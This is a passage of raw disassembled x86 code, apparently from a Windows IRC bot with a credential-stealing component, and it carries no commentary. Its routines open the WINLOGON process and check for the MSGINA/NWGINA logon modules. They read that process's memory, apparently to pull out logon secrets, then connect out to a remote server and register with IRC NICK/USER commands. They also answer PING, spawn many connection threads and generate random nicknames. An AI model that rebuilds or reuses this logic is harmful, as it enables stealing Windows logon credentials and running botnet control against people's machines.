[esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D44AC test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D44A0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D46B0 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D44A8 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call dword_427140 ; RtlFreeHeap mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D44A8 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call dword_427084 ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call dword_427154 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi ; GetProcessHeap mov edi, dword_427144 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call dword_42714C ; VirtualQueryEx test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D34A0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D3CA0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call dword_427114 ; FileTimeToLocalFileTime test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call dword_427110 ; FileTimeToSystemTime test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D46C4, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D46BC, eax mov dword_4D46C0, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call dword_427140 ; RtlFreeHeap mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] call dword_427068 ; CloseHandle pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call dword_427084 ; OpenProcess test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call dword_427154 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call dword_42714C ; VirtualQueryEx test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi ; GetProcessHeap push eax call dword_427144 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call dword_427150 ; ReadProcessMemory test eax, eax jz short loc_4174E5 push offset dword_4D34A0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D3CA0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi ; GetProcessHeap push eax call dword_427140 ; RtlFreeHeap jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] call dword_427068 ; CloseHandle loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D46BC, ebx mov dword_4D46C0, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call dword_427068 ; CloseHandle push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D46B8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call dword_427144 ; RtlAllocateHeap mov ecx, dword_4D46B8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D46C0 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D46C4 push eax call dword_4D44A4 push [ebp+var_4] mov edi, offset dword_4D44B0 push offset dword_4D34A0 push offset dword_4D3CA0 push [ebp+arg_0] push offset dword_438214 push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call dword_427140 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D46B8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call dword_427148 ; GetProcessHeap push eax call dword_427144 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D3CA0 mov edi, 200h mov esi, offset dword_4D32A0 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D46B8 add eax, eax push eax push dword_4D46C0 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D44A4 mov eax, dword_4D46B8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D34A0 push ebx push [ebp+arg_0] push offset dword_438214 push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D34A0 push ebx push [ebp+arg_0] push offset dword_438264 push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 call dword_427148 ; GetProcessHeap push eax call dword_427140 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB6B4 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB634 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CB674 ; inet_addr cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CB6B8 ; gethostbyname test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB5DC ; connect cmp eax, esi jnz short loc_417782 push edi call dword_4CB6CC ; closesocket loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A06C ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D46CC pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CB684 ; send loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DADEC jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42D0F4 ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_438E78 jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_438E74 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_438E68 loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CB684 ; send loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D46D4[esi] mov dword_4D46C8[esi], edi push dword_4D48D4[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D46CC[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D46CC[esi] call dword_4CB684 ; send push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D46CC[esi] call dword_4CB64C ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D46CC[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D46C8[esi], ebx mov esi, dword_4D46CC[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB6CC ; closesocket loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D46C8 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DADE8 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D46D4[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D48D4[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D46C8[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx call dword_42707C ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_4385B8[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_4382B8[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_4385B8[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi 